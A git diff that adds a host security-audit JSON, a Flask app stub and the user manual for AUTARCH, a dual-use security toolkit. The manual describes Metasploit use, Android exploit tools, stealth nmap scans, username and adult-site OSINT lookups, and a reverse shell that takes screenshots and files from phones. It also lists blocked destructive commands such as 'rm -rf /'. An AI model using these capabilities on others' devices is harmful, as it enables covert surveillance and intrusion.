-0,0 +1,146 @@ +{ + "audit_date": "2026-02-02T13:51:09.453236", + "system_info": { + "os_type": "linux", + "os_name": "Ubuntu 22.04.5 LTS", + "os_version": "22.04", + "os_id": "ubuntu", + "kernel": "5.10.0-1012-rockchip", + "arch": "aarch64", + "cpe_prefix": "cpe:2.3:o:canonical:ubuntu_linux", + "hostname": "snake-desktop", + "uptime": "up 2 days, 53 minutes", + "current_user": "root", + "memory_kb": 16337212, + "memory_gb": 15.6, + "cpu_cores": 8 + }, + "security_score": 15, + "audit_results": { + "firewall": { + "status": "enabled", + "type": "iptables", + "rules": 19 + }, + "ssh": { + "status": "installed", + "issues": [] + }, + "ports": { + "listening": 37, + "high_risk": [ + "139", + "445", + "139", + "445" + ] + }, + "users": { + "issues": [], + "shell_users": 5 + }, + "permissions": { + "checked": 7, + "issues": 2 + }, + "services": { + "dangerous_running": [] + }, + "updates": { + "available": 11, + "security": 0 + }, + "fail2ban": { + "status": "running" + }, + "cves": { + "total": 0, + "critical": 0, + "high": 0, + "medium": 0, + "low": 0, + "items": [], + "db_stats": { + "db_path": "/home/snake/dh_framework/data/cve/cve.db", + "db_size_mb": 0.07, + "total_cves": 0, + "total_cpes": 0, + "last_sync": null, + "last_modified": null, + "by_severity": {} + } + } + }, + "issues": [ + { + "name": "High-Risk Port Open: 139 (NetBIOS)", + "description": "NetBIOS session service", + "severity": "HIGH", + "category": "network", + "fix_command": null, + "fix_instructions": "Disable the NetBIOS service if not needed:\n sudo systemctl stop \n sudo systemctl disable ", + "cve_ids": [], + "status": "open" + }, + { + "name": "High-Risk Port Open: 445 (SMB)", + "description": "SMB - common attack target", + "severity": "HIGH", + "category": "network", + "fix_command": null, + "fix_instructions": "Disable the SMB service if not needed:\n sudo systemctl stop \n sudo systemctl disable ", + "cve_ids": [], + "status": "open" + }, + { + "name": "High-Risk Port Open: 139 (NetBIOS)", + "description": "NetBIOS session service", + "severity": "HIGH", + "category": "network", + "fix_command": null, + "fix_instructions": "Disable the NetBIOS service if not needed:\n sudo systemctl stop \n sudo systemctl disable ", + "cve_ids": [], + "status": "open" + }, + { + "name": "High-Risk Port Open: 445 (SMB)", + "description": "SMB - common attack target", + "severity": "HIGH", + "category": "network", + "fix_command": null, + "fix_instructions": "Disable the SMB service if not needed:\n sudo systemctl stop \n sudo systemctl disable ", + "cve_ids": [], + "status": "open" + }, + { + "name": "Insecure Permissions: /etc/ssh/sshd_config", + "description": "SSH configuration has mode 644 (should be 600 or less)", + "severity": "MEDIUM", + "category": "permissions", + "fix_command": "sudo chmod 600 /etc/ssh/sshd_config", + "fix_instructions": "Fix permissions:\n sudo chmod 600 /etc/ssh/sshd_config", + "cve_ids": [], + "status": "open" + }, + { + "name": "Insecure Permissions: /etc/crontab", + "description": "System crontab has mode 644 (should be 600 or less)", + "severity": "MEDIUM", + "category": "permissions", + "fix_command": "sudo chmod 600 /etc/crontab", + "fix_instructions": "Fix permissions:\n sudo chmod 600 /etc/crontab", + "cve_ids": [], + "status": "open" + }, + { + "name": "No Antivirus Installed", + "description": "No antivirus solution detected", + "severity": "LOW", + "category": "security", + "fix_command": "sudo apt install clamav clamav-daemon -y && sudo freshclam", + "fix_instructions": "Install ClamAV:\n sudo apt install clamav clamav-daemon\n sudo freshclam", + "cve_ids": [], + "status": "open" + } + ] +} \ No newline at end of file diff --git a/user_manual.md b/user_manual.md new file mode 100644 index 0000000..41a2fea --- /dev/null +++ b/user_manual.md @@ -0,0 +1,971 @@ +# AUTARCH User Manual + +**Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking** +*By darkHal Security Group and Setec Security Labs* + +--- + +## What Is AUTARCH? + +AUTARCH is an all-in-one security platform that puts professional-grade security tools at your fingertips. Think of it as your personal security command center — it can scan networks, investigate threats on your phone, gather intelligence, test your own defenses, and even chat with AI about security topics. + +You can use it two ways: +- **Terminal (CLI)** — A text menu you navigate with number keys +- **Web Dashboard** — A browser-based interface you can access from any device on your network + +No prior hacking experience is needed to use most features. This manual will walk you through everything step by step. + +--- + +## Table of Contents + +1. [Getting Started](#1-getting-started) +2. [The Main Menu (CLI)](#2-the-main-menu-cli) +3. [The Web Dashboard](#3-the-web-dashboard) +4. [Defense Tools](#4-defense-tools) +5. [Offense Tools](#5-offense-tools) +6. [Counter-Intelligence](#6-counter-intelligence) +7. [Analysis & Forensics](#7-analysis--forensics) +8. [OSINT (Intelligence Gathering)](#8-osint-intelligence-gathering) +9. [Attack Simulation](#9-attack-simulation) +10. [Hardware & Device Management](#10-hardware--device-management) +11. [Android Protection Shield](#11-android-protection-shield) +12. [WireGuard VPN](#12-wireguard-vpn) +13. [Reverse Shell](#13-reverse-shell) +14. [Archon Companion App](#14-archon-companion-app) +15. [AI Chat & Agents](#15-ai-chat--agents) +16. [MCP Server](#16-mcp-server) +17. [Configuration & Settings](#17-configuration--settings) +18. [Troubleshooting](#18-troubleshooting) +19. [Quick Reference](#19-quick-reference) +20. [Safety & Legal Notice](#20-safety--legal-notice) + +--- + +## 1. Getting Started + +### What You Need + +- A computer running Linux (AUTARCH is built for Orange Pi 5 Plus / ARM64, but works on any Linux) +- Python 3.10 or newer (already installed on most Linux systems) +- A web browser (for the dashboard) +- An Android phone (optional, for companion app features) + +### Starting AUTARCH for the First Time + +Open a terminal and type: + +``` +python autarch.py +``` + +The first time you run AUTARCH, a **setup wizard** appears. It asks you to pick an AI backend: + +| Option | What It Is | Do You Need It? | +|--------|-----------|-----------------| +| Local GGUF | AI model running on your machine | Optional — needs a model file | +| Transformers | PyTorch-based AI | Optional — needs GPU or lots of RAM | +| Claude API | Anthropic's cloud AI | Optional — needs an API key | +| HuggingFace | Cloud AI via HuggingFace | Optional — needs an API key | +| Skip Setup | Run without AI | Works fine — most tools don't need AI | + +**Tip:** If you're not sure, choose "Skip Setup." You can always configure AI later. Most of AUTARCH's tools (scanning, OSINT, defense, hardware) work perfectly without an AI model. + +### Starting the Web Dashboard + +If you prefer a graphical interface instead of the terminal menu: + +``` +python autarch.py --web +``` + +Then open your browser and go to: `http://your-ip-address:8080` + +The default login credentials are set during first run. You can change them in Settings. + +### Running a Specific Tool Directly + +If you know exactly what you want to run: + +``` +python autarch.py -m chat # Start AI chat +python autarch.py -m adultscan # Username scanner +python autarch.py osint johndoe # Quick OSINT lookup +python autarch.py --list # Show all available tools +``` + +### Command Line Options at a Glance + +| Command | What It Does | +|---------|-------------| +| `python autarch.py` | Start the interactive menu | +| `python autarch.py --web` | Start the web dashboard | +| `python autarch.py -m ` | Run a specific module | +| `python autarch.py -l` | List all modules | +| `python autarch.py --setup` | Re-run the setup wizard | +| `python autarch.py --skip-setup` | Skip AI setup, run without LLM | +| `python autarch.py --show-config` | Show current settings | +| `python autarch.py --mcp stdio` | Start MCP server for Claude | +| `python autarch.py --service start` | Start as background service | +| `python autarch.py -h` | Show all command line options | + +--- + +## 2. The Main Menu (CLI) + +When you start AUTARCH, you'll see a menu like this: + +``` +═══════════════════════════════════ + AUTARCH — Security Platform +═══════════════════════════════════ + + [1] Defense System hardening & monitoring + [2] Offense Penetration testing + [3] Counter Threat detection & hunting + [4] Analyze Forensics & file analysis + [5] OSINT Intelligence gathering + [6] Simulate Attack simulation + + [7] Agent Hal AI security automation + [8] Web Service Start/stop web dashboard + [9] Sideload App Push Archon to phone + [10] MCP Server AI tool server + + [99] Settings + [98] Exit + + Select > +``` + +**How to use it:** Type a number and press Enter. Each option opens a sub-menu with more choices. Type `0` to go back to the previous menu. + +--- + +## 3. The Web Dashboard + +The web dashboard gives you the same tools as the CLI, but in a visual browser interface. + +### Starting the Dashboard + +From the CLI menu, select **[8] Web Service**, or run: + +``` +python autarch.py --web +``` + +### Navigating the Dashboard + +The left sidebar has these sections: + +**Dashboard** — System overview showing: +- Your device info (hostname, IP, platform) +- System uptime +- Which tools are available (nmap, tshark, etc.) +- Module counts +- LLM and UPnP status + +**Categories** — The 6 main tool categories (Defense, Offense, Counter, Analyze, OSINT, Simulate) + +**Tools** — Specialized tool pages: +- **Wireshark** — Packet capture & analysis +- **Hardware** — Android/iPhone/ESP32 device management +- **Android Exploit** — Android-specific attack tools +- **iPhone Exploit** — iPhone forensics tools +- **Shield** — Anti-stalkerware/spyware scanner +- **Reverse Shell** — Remote device management + +**System** — Infrastructure management: +- **UPnP** — Port forwarding +- **WireGuard** — VPN management +- **Settings** — All configuration options + +### Running as a Background Service + +To keep the dashboard running even when you close your terminal: + +``` +python autarch.py --service install # One-time: install the service +python autarch.py --service enable # Start on boot +python autarch.py --service start # Start now +python autarch.py --service status # Check if it's running +``` + +--- + +## 4. Defense Tools + +Defense tools help you check and strengthen your system's security. + +### What's Available + +| Tool | What It Does | +|------|-------------| +| **Full Security Audit** | Runs all checks at once — the "check everything" button | +| **Firewall Check** | Shows your firewall rules and warns if it's off | +| **SSH Hardening** | Reviews your SSH configuration for weaknesses | +| **Open Ports Scan** | Lists all network ports your machine is exposing | +| **User Security Check** | Finds accounts with weak or no passwords | +| **File Permissions Audit** | Finds files with dangerous permissions (world-writable, SUID) | +| **Service Audit** | Lists running services and flags suspicious ones | +| **System Audit & CVE Detection** | Checks installed software against known vulnerabilities | +| **Scan Monitor** | Watches your network for incoming port scans in real-time | + +### How to Use (CLI) + +1. From the main menu, type `1` for Defense +2. Pick a tool by number (e.g., `1` for Full Audit) +3. Read the results — warnings are highlighted in red/yellow +4. Type `0` to go back + +### How to Use (Web) + +1. Click **Defense** in the sidebar +2. Click any tool button +3. Results appear on the page + +### Tips + +- Run the **Full Security Audit** first to get an overview +- If you see red warnings, address those first — they're the most critical +- The **Scan Monitor** runs continuously — press Ctrl+C to stop it in CLI mode + +--- + +## 5. Offense Tools + +Offense tools are for testing your own systems' security. These are professional penetration testing tools. + +### What's Available + +| Tool | What It Does | +|------|-------------| +| **Metasploit Framework** | The industry-standard exploit framework | +| **RouterSploit** | Test your router for known vulnerabilities | +| **Reverse Shell** | Remote shell to Android devices via Archon app | +| **Android Exploit Tools** | Root methods, payload deployment, boot exploits | +| **iPhone Exploit Tools** | USB-based forensics and extraction | +| **Workflow Automation** | Chain multiple attack steps together | + +### Metasploit Integration + +AUTARCH connects to Metasploit via RPC, giving you a friendlier interface: + +1. From Offense menu, select **Metasploit** +2. **Search** for modules (e.g., "ssh" to find SSH exploits) +3. **Configure** a module with target IP, port, etc. +4. **Execute** the module +5. **Manage sessions** if you get a shell + +**Setup:** Metasploit needs to be installed separately. AUTARCH auto-starts it on launch unless you use `--no-msf`. + +### Reverse Shell Manager + +The reverse shell lets you control Android devices remotely through the Archon companion app: + +1. **Start Listener** — AUTARCH opens a port (default 17322) and waits for connections +2. **Configure Archon** — Enter your AUTARCH server IP in the Archon app +3. **Connect** — Tap Connect in the Archon app's Modules tab +4. **Use** — You can now run commands, take screenshots, download files, etc. + +See [Section 13: Reverse Shell](#13-reverse-shell) for detailed instructions. + +--- + +## 6. Counter-Intelligence + +Counter-intelligence tools help you detect if someone is already inside your system. + +### What's Available + +| Tool | What It Does | +|------|-------------| +| **Full Threat Scan** | Runs all detection checks at once | +| **Suspicious Process Detection** | Finds processes that shouldn't be running | +| **Network Analysis** | Looks for unusual network connections | +| **Login Anomalies** | Detects weird login patterns (odd hours, unknown IPs) | +| **File Integrity Monitoring** | Detects if system files have been changed | +| **Scheduled Task Audit** | Checks cron jobs for hidden backdoors | +| **Rootkit Detection** | Scans for rootkits and kernel modifications | +| **Hidden App Detection** | Finds applications trying to hide themselves | + +### When to Use These + +- After you suspect a compromise +- As a regular security check (weekly is good) +- After installing unfamiliar software +- If your system is acting strangely (slow, unexpected network traffic) + +--- + +## 7. Analysis & Forensics + +These tools help you examine files, network traffic, and system artifacts. + +### File Analysis + +Drop a file in and get: +- **File type** — What the file actually is (even if renamed) +- **Hashes** — MD5 and SHA256 for verification +- **Strings** — Readable text hidden inside binaries +- **Hex dump** — Raw byte-level view +- **VirusTotal lookup** — Check if it's known malware + +### Packet Capture (Wireshark Integration) + +Capture and analyze network traffic: + +1. Select your network interface +2. Set optional filters (e.g., "port 80" for web traffic) +3. Start capture +4. Browse the results — protocols, source/destination, payload data + +**In the web UI:** The Wireshark page gives you a visual packet inspector. + +--- + +## 8. OSINT (Intelligence Gathering) + +OSINT (Open Source Intelligence) tools help you find publicly available information about people, domains, and IP addresses. + +### Username Lookup + +Check if a username exists across **7,200+ websites**: + +1. Enter a username +2. AUTARCH checks hundreds of sites simultaneously +3. Results show which sites have that username registered + +**Categories searched:** Social media, forums, dating sites, gaming, email providers, developer platforms, and more. + +### Email Lookup + +- Validates if an email address is real +- Checks format and domain +- Generates email permutations (firstname.lastname, flastname, etc.) + +### Domain Reconnaissance + +Enter a domain name and get: +- **WHOIS** — Registration info, owner, dates +- **DNS records** — A, MX, NS, TXT records +- **Subdomains** — Discovered subdomains +- **Technology stack** — What software the website runs + +### IP Address Lookup + +Enter an IP address and get: +- **Geolocation** — Country, city, coordinates +- **Reverse DNS** — Associated domain names +- **Network info** — ISP, ASN, organization + +### Phone Number Lookup + +- Validates phone numbers +- Identifies carrier +- Traces to geographic region + +### Adult Site Scanner + +Checks usernames across 50+ adult content sites. This is useful for investigating potential abuse or stalking. + +### Nmap Network Scanner + +9 different scan types for network reconnaissance: +- **SYN Scan** — Fast stealth scan (most common) +- **FIN/NULL/Xmas** — Firewall evasion techniques +- **ACK Scan** — Map firewall rules +- **UDP Scan** — Find UDP services +- **Window/Idle/Maimon** — Advanced stealth techniques + +### How to Use (CLI) + +1. Main menu → `5` for OSINT +2. Pick a tool (e.g., `2` for Username Lookup) +3. Enter your search target +4. Wait for results (username lookups can take 30-60 seconds) + +### How to Use (Web) + +1. Click **OSINT** in the sidebar +2. Fill in the search fields +3. Click the action button +4. Results display below + +--- + +## 9. Attack Simulation + +Simulation tools let you test attack scenarios in a controlled way. + +| Tool | What It Does | +|------|-------------| +| **Password Audit** | Tests password strength with common patterns | +| **Port Scanner** | Quick port scanning (lighter than nmap) | +| **Banner Grabber** | Identifies services by their response banners | +| **Payload Generator** | Creates test payloads (XSS, SQLi, command injection) | +| **Network Stress Test** | Tests how many connections a service can handle | + +--- + +## 10. Hardware & Device Management + +AUTARCH can directly control physical devices connected to it. + +### Android Devices (ADB/Fastboot) + +If you connect an Android phone via USB (with USB debugging enabled): + +- **ADB Shell** — Run commands on the phone +- **Install/Uninstall apps** — Push APKs or remove apps +- **Pull/Push files** — Transfer files to/from the phone +- **Logcat** — View the phone's system logs +- **Fastboot** — Flash firmware, unlock bootloader, manage partitions + +### iPhone (USB Forensics) + +Connect an iPhone via USB for: +- Device information and serial number +- Backup extraction +- App enumeration +- File retrieval + +### ESP32 (Serial Programming) + +Flash firmware to ESP32 microcontrollers: +- Select serial port +- Pick firmware binary +- Flash and verify + +### Two Modes in the Web UI + +- **Server Mode** — The device is plugged into AUTARCH's USB port +- **Direct Mode** — The device is plugged into YOUR computer, and your browser talks to it directly via WebUSB/Web Serial + +Toggle between modes in the Hardware page header. + +--- + +## 11. Android Protection Shield + +The Shield protects Android devices from stalkerware, spyware, and tracking. + +### What It Detects + +- **Stalkerware** — 275+ known surveillance apps (mSpy, FlexiSpy, Cerberus, etc.) +- **Government spyware** — Pegasus, Predator, Hermit, and similar +- **Hidden apps** — Apps that have removed their icons to hide +- **Device admin abuse** — Apps with dangerous admin privileges +- **Certificate manipulation** — MITM proxy certificates +- **Accessibility abuse** — Apps using accessibility to read your screen +- **Dangerous permission combos** — Apps with suspicious permission combinations + +### How to Run a Scan + +**CLI:** +1. Main menu → `1` Defense → Android Protection Shield +2. Choose scan type (Full Scan recommended for first time) +3. Review results — threats are highlighted in red + +**Web:** +1. Click **Shield** in the sidebar +2. Click **Full Scan** +3. Review the results + +**Archon App:** +1. Open the Archon companion app +2. Go to the **Modules** tab +3. Tap **FULL SCAN** under Protection Shield + +### Tracking Honeypot + +The honeypot feeds fake data to ad trackers, making their profiles of you useless: + +- **Reset Ad ID** — Generate a new advertising identifier +- **Private DNS** — Route DNS through ad-blocking servers +- **Restrict Trackers** — Block tracker apps from background data +- **Revoke Tracker Perms** — Remove permissions from known trackers +- **Harden All** — Do everything above at once + +### Protection Tiers + +| Tier | Requires | What It Can Do | +|------|----------|---------------| +| Tier 1 | ADB connection | Ad ID reset, tracking opt-out, DNS blocking | +| Tier 2 | Archon Server | Background data restriction, permission revocation | +| Tier 3 | Root access | Hosts file blocking, iptables rules, GPS spoofing, identity rotation | + +--- + +## 12. WireGuard VPN + +AUTARCH includes a full WireGuard VPN server for secure connections. + +### What It Does + +- Creates encrypted VPN tunnels between your AUTARCH server and other devices +- Lets you access AUTARCH remotely (and securely) +- Enables Remote ADB — control Android devices over the VPN +- USB/IP — share USB devices over the network + +### Setting Up + +**CLI:** Main menu → `1` Defense → WireGuard VPN Manager + +1. **Start Interface** — Bring up the WireGuard tunnel +2. **Create Client** — Add a new device (phone, laptop, etc.) +3. **Generate Config** — Get the config file/QR code for the client +4. **Import the config** on your phone/laptop's WireGuard app + +### Remote ADB Over VPN + +Once a phone is connected to your VPN: +1. Go to **Remote ADB** section +2. Select the client +3. Connect — you now have ADB access over the encrypted tunnel + +### USB/IP + +Share USB devices from remote machines over the VPN: +1. Load USB/IP kernel modules +2. List USB devices on the remote host +3. Attach the device — it appears as if it's plugged into AUTARCH locally + +--- + +## 13. Reverse Shell + +The Reverse Shell lets you remotely manage Android devices through the Archon companion app. + +### How It Works + +1. **AUTARCH listens** on a port (default 17322) +2. **The phone connects out** to AUTARCH (this is why it's called "reverse" — the phone initiates the connection) +3. **You control the phone** from AUTARCH's web terminal or CLI + +### Setting Up (Step by Step) + +**On AUTARCH (your server):** + +1. **Web UI:** Go to **Reverse Shell** in the sidebar → Enter a port (or use default 17322) → Click **Start Listener** +2. **CLI:** Main menu → `2` Offense → Reverse Shell → `1` Start Listener +3. Note the **auth token** — you'll need it for the phone + +**On the Android phone:** + +1. Open the **Archon** companion app +2. Go to **Settings** → Set your AUTARCH server's IP address +3. Go to **Modules** tab +4. Under **Reverse Shell**, tap **CONNECT** +5. Accept all 3 safety warnings (they explain what this does) + +**Back on AUTARCH:** + +The session should now appear. You can: + +| Action | What It Does | +|--------|-------------| +| **Interactive Shell** | Type commands as if you were on the phone | +| **System Info** | Get device details (model, Android version, storage) | +| **Screenshot** | Capture the phone's screen | +| **Packages** | List all installed apps | +| **Processes** | See what's running | +| **Network** | View active network connections | +| **Logcat** | Read the phone's system logs | +| **Download File** | Pull a file from the phone | +| **Upload File** | Send a file to the phone | + +### Safety Features + +The reverse shell has multiple safety measures: + +- **Disabled by default** — Must be explicitly enabled +- **3 warnings** — You must acknowledge all 3 before it activates +- **Auth token** — Random per-session, prevents unauthorized access +- **Auto-timeout** — Connection drops after 30 minutes (configurable) +- **Kill switch** — Disconnect anytime from the app or by force-stopping +- **Audit log** — Every command is logged on the phone +- **Command blocklist** — Dangerous commands (rm -rf /, reboot, etc.) are blocked + +--- + +## 14. Archon Companion App + +The Archon app runs on your Android phone and connects to AUTARCH for remote management. + +### Installation + +**From AUTARCH (easiest):** +1. Connect your phone via USB with USB debugging enabled +2. Main menu → `9` Sideload App +3. The APK is pushed and installed automatically + +**Manual install:** +1. Copy the APK from `autarch_companion/app/build/outputs/apk/debug/` +2. Transfer to your phone +3. Enable "Install from unknown sources" in phone settings +4. Open and install the APK + +### App Tabs + +**Dashboard** +- Toggle ADB TCP/IP mode (for wireless debugging) +- USB/IP device management +- WireGuard connection status +- Quick system info + +**Links** +- 9 quick links to AUTARCH web UI sections +- Opens directly in your phone's browser +- Requires your AUTARCH server IP to be set in Settings + +**Modules** +- **Protection Shield** — Scan for stalkerware/spyware directly from your phone +- **Tracking Honeypot** — Block trackers and fake ad data +- **Reverse Shell** — Connect back to AUTARCH for remote management + +**Settings** +- Set AUTARCH server IP and port +- Test the connection +- View Archon Server status + +**Setup** +- Wireless ADB pairing (for first-time setup without USB) +- Archon Server bootstrap (starts the privileged helper) + +### The Archon Server + +The Archon Server is a helper process that runs on your phone at elevated privileges (UID 2000, same as ADB shell). It lets the app perform actions that normally require a USB computer connection. + +**How to start it:** +1. Go to the **Setup** tab +2. Pair via Wireless Debugging (one-time) +3. Tap **Start Server** + +The server stays running in the background. You can stop it anytime. + +### arish — The Interactive Shell + +`arish` is a command-line shell you can run on your Android device (via adb shell or a terminal emulator app). It connects to the Archon Server and gives you shell-level access: + +``` +adb push arish /data/local/tmp/arish +adb shell chmod 755 /data/local/tmp/arish +adb shell /data/local/tmp/arish +``` + +Then you can type commands interactively: +``` +arish$ pm list packages +arish$ dumpsys battery +arish$ ls /data/local/tmp +arish$ exit +``` + +Or run a single command: +``` +adb shell /data/local/tmp/arish pm list packages -3 +``` + +--- + +## 15. AI Chat & Agents + +AUTARCH can connect to AI language models for intelligent security assistance. + +### Chat Module + +An interactive conversation with an AI about security topics: + +``` +python autarch.py -m chat +``` + +**Useful commands inside chat:** +- `/help` — Show all chat commands +- `/clear` — Start a fresh conversation +- `/system ` — Change the AI's behavior +- `/temp 0.3` — Lower temperature for more precise answers +- `/stream` — Toggle streaming (see words as they appear) +- `/exit` — Leave chat + +### Agent Hal + +An autonomous AI agent that can use AUTARCH's tools: + +``` +python autarch.py -m agent +``` + +Tell it what you want in plain English: +- "Scan 192.168.1.0/24 for open ports" +- "Check if my SSH config is secure" +- "Look up the username 'johndoe' on social media" + +The agent will use the appropriate tools, show you what it's doing, and present results. + +### Supported AI Backends + +| Backend | Speed | Cost | Quality | +|---------|-------|------|---------| +| **Local GGUF** | Slow (CPU) | Free | Good (depends on model) | +| **Transformers** | Medium | Free | Good | +| **Claude API** | Fast | Paid | Excellent | +| **HuggingFace** | Fast | Free tier available | Good | + +Configure in Settings → LLM Settings, or edit `autarch_settings.conf`. + +--- + +## 16. MCP Server + +MCP (Model Context Protocol) lets AI assistants like Claude use AUTARCH's tools directly. + +### Starting the MCP Server + +``` +# For Claude Desktop or Claude Code +python autarch.py --mcp stdio + +# For web-based clients +python autarch.py --mcp sse --mcp-port 8081 +``` + +### What Tools Are Exposed + +| Tool | What It Does | +|------|-------------| +| `nmap_scan` | Network scanning | +| `geoip_lookup` | IP geolocation | +| `dns_lookup` | DNS record queries | +| `whois_lookup` | Domain registration info | +| `packet_capture` | Network packet capture | +| `wireguard_status` | VPN tunnel status | +| `upnp_status` | Port mapping status | +| `system_info` | Host system information | +| `llm_chat` | Chat with the configured LLM | +| `android_devices` | List connected Android devices | +| `config_get` | Read AUTARCH configuration | + +### How to Use with Claude Desktop + +Add to your Claude Desktop config: +```json +{ + "mcpServers": { + "autarch": { + "command": "python", + "args": ["/path/to/autarch.py", "--mcp", "stdio"] + } + } +} +``` + +Then in Claude Desktop, you can say things like "Use AUTARCH to scan 192.168.1.1" and Claude will use the tools. + +--- + +## 17. Configuration & Settings + +### The Config File + +All settings live in `autarch_settings.conf` in the AUTARCH directory. You can edit it with any text editor, or use the Settings menu. + +### Key Settings + +**LLM (AI Model)** +```ini +[autarch] +llm_backend = local # local, transformers, claude, or huggingface + +[llama] +model_path = /path/to/model.gguf +n_ctx = 4096 # Context window size +n_threads = 4 # CPU threads +temperature = 0.7 # Creativity (0.0 = precise, 1.0 = creative) +max_tokens = 2048 # Max response length + +[claude] +api_key = sk-ant-... # Your Anthropic API key +model = claude-sonnet-4-20250514 + +[huggingface] +api_key = hf_... # Your HuggingFace token +model = mistralai/Mistral-7B-Instruct-v0.3 +``` + +**Web Dashboard** +```ini +[web] +host = 0.0.0.0 # Listen on all interfaces +port = 8080 # Dashboard port +``` + +**OSINT** +```ini +[osint] +max_threads = 8 # Parallel lookups (higher = faster but more bandwidth) +timeout = 8 # Seconds before giving up on a site +include_nsfw = false # Include adult sites in scans +``` + +**Reverse Shell** +```ini +[revshell] +enabled = true +host = 0.0.0.0 +port = 17322 # Listener port +auto_start = false # Start listener on AUTARCH boot +``` + +**UPnP** +```ini +[upnp] +enabled = true +internal_ip = 10.0.0.26 # Your machine's local IP +refresh_hours = 12 # Re-apply mappings interval +mappings = 443:TCP,51820:UDP,8080:TCP +``` + +### Changing Settings + +**CLI:** Main menu → `99` Settings → pick a category + +**Web:** Click **Settings** in the sidebar + +**Manual:** Edit `autarch_settings.conf` with a text editor, then restart AUTARCH + +--- + +## 18. Troubleshooting + +### "Module not found" error +- Run `python autarch.py --list` to see available modules +- Check that the module file exists in the `modules/` directory +- Make sure the file has a `run()` function + +### Web dashboard won't start +- Check if port 8080 is already in use: `ss -tlnp | grep 8080` +- Try a different port: `python autarch.py --web --web-port 9090` +- Check the terminal for error messages + +### AI chat says "no model configured" +- Run `python autarch.py --setup` to configure an AI backend +- For local models: make sure `model_path` points to a valid `.gguf` file +- For cloud APIs: verify your API key is correct + +### Metasploit won't connect +- Make sure Metasploit is installed +- Start the RPC server: `msfrpcd -P yourpassword -S -a 127.0.0.1` +- Check the password matches in Settings + +### Android device not detected +- Enable **USB Debugging** on the phone (Settings → Developer Options) +- Try a different USB cable (some cables are charge-only) +- Run `adb devices` to verify the connection +- Accept the debugging prompt on the phone + +### Reverse shell won't connect +- Make sure the listener is started on AUTARCH +- Verify the server IP is correct in the Archon app +- Check that port 17322 is not blocked by a firewall +- If on different networks, make sure you have a VPN (WireGuard) or port forwarding set up + +### Scan taking too long +- Reduce thread count in OSINT settings (lower = slower but more reliable) +- Increase timeout if on a slow connection +- Some nmap scans (UDP, Idle) are inherently slow — use SYN scan for speed + +### App crashes or hangs +- Check the terminal for Python traceback errors +- Run with `--verbose` for more detail: `python autarch.py --verbose` +- Make sure all Python dependencies are installed: `pip install -r requirements.txt` + +--- + +## 19. Quick Reference + +### Most-Used Commands + +```bash +python autarch.py # Interactive menu +python autarch.py --web # Web dashboard +python autarch.py -m chat # AI chat +python autarch.py -m adultscan # Username scanner +python autarch.py osint # Quick OSINT +python autarch.py -l # List all modules +python autarch.py --setup # Setup wizard +python autarch.py --show-config # View settings +python autarch.py --mcp stdio # MCP server +python autarch.py --service status # Check web service +``` + +### Module Categories + +| # | Category | Color | What's In It | +|---|----------|-------|-------------| +| 1 | Defense | Blue | System hardening, shield, VPN, scan monitor | +| 2 | Offense | Red | Metasploit, reverse shell, Android exploits | +| 3 | Counter | Purple | Threat detection, rootkit scanning | +| 4 | Analyze | Cyan | File forensics, packet capture | +| 5 | OSINT | Green | Username/email/domain/IP lookup | +| 6 | Simulate | Yellow | Port scanning, payload generation | + +### Key Ports + +| Port | Service | +|------|---------| +| 8080 | Web dashboard | +| 8081 | MCP server (SSE mode) | +| 17321 | Archon Server (on phone, localhost only) | +| 17322 | Reverse Shell listener | +| 51820 | WireGuard VPN | + +### File Locations + +| File | Purpose | +|------|---------| +| `autarch.py` | Main entry point | +| `autarch_settings.conf` | All configuration | +| `modules/` | CLI tool modules | +| `core/` | Core framework libraries | +| `web/` | Web dashboard (Flask) | +| `tools/linux-arm64/` | Bundled tools (nmap, tcpdump, etc.) | +| `android/` | ADB and Fastboot binaries | +| `autarch_companion/` | Android companion app source | +| `data/` | Runtime data (screenshots, downloads, databases) | + +--- + +## 20. Safety & Legal Notice + +AUTARCH is a powerful security platform. Use it responsibly. + +### Rules + +1. **Only test systems you own or have written permission to test** +2. **Never use these tools against someone else's devices without their explicit consent** +3. **The Android Protection Shield is meant to protect YOUR phone** — scanning someone else's phone without permission is illegal in most jurisdictions +4. **The reverse shell is for managing YOUR devices** — using it on someone else's device without consent is a crime +5. **OSINT tools search public information** — but using that information to harass or stalk someone is illegal +6. **You are responsible for how you use these tools** — the developers are not liable for misuse + +### Ethical Use + +- Use defense tools to protect your own systems +- Use offense tools only with explicit authorization +- Report vulnerabilities you find through proper channels +- Respect privacy — just because you can find information doesn't mean you should use it + +### Emergency + +If you discover your device has been compromised: +1. Run the **Protection Shield** full scan +2. Check **Counter-Intelligence** for system threats +3. Change all passwords from a different, clean device +4. Consider a factory reset if the compromise is severe + +--- + +*AUTARCH v1.3 — By darkHal Security Group and Setec Security Labs* +*This manual covers all features through Phase 5 (February 2026)* diff --git a/web/__init__.py b/web/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/web/app.py b/web/app.py new file mode 100644 index 0000000..6d5db99 --- /dev/null +++ b/web/app.py @@ -0,0 +1,99 @@ +""" +AUTARCH Web Application Factory +Flask-based web dashboard for the AUTARCH security platform +""" + +import os +import sys +from pathlib import Path +from flask import Flask + +# Ensure framework is importable +FRAMEWORK_DIR = Path(__file__).parent.parent +sys.path.insert(0, str(FRAMEWORK_DIR)) + + +def create_app(): + app = Flask( + __name__, + template_folder=str(Path(__file__).parent / 'templates'), + static_folder=str(Path(__file__).parent / 'static') + ) + + # Config + from core.config import get_config + config = get_config() + + app.secret_key = config.get('web', 'secret_key', fallback=None) or os.urandom(32).hex() + + # Upload config + from core.paths import get_uploads_dir + upload_dir = str(get_uploads_dir()) + os.makedirs(upload_dir, exist_ok=True) + app.config['UPLOAD_FOLDER'] = upload_dir + app.config['MAX_CONTENT_LENGTH'] = 50 * 1024 * 1024 # 50MB + + # Store config on app for route access + app.autarch_config = config + + # Register blueprints + from web.routes.auth_routes import auth_bp + from web.routes.dashboard import dashboard_bp + from web.routes.defense import defense_bp + from web.routes.offense import offense_bp + from web.routes.counter import counter_bp + from web.routes.analyze import analyze_bp + from web.routes.osint import osint_bp + from web.routes.simulate import simulate_bp + from web.routes.settings import settings_bp + from web.routes.upnp import upnp_bp + from web.routes.wireshark import wireshark_bp + from web.routes.hardware import hardware_bp + from web.routes.android_exploit import android_exploit_bp + from web.routes.iphone_exploit import iphone_exploit_bp + from web.routes.android_protect import android_protect_bp + from web.routes.wireguard import wireguard_bp + from web.routes.revshell import revshell_bp + from web.routes.archon import archon_bp + from web.routes.msf import msf_bp + from web.routes.chat import chat_bp + 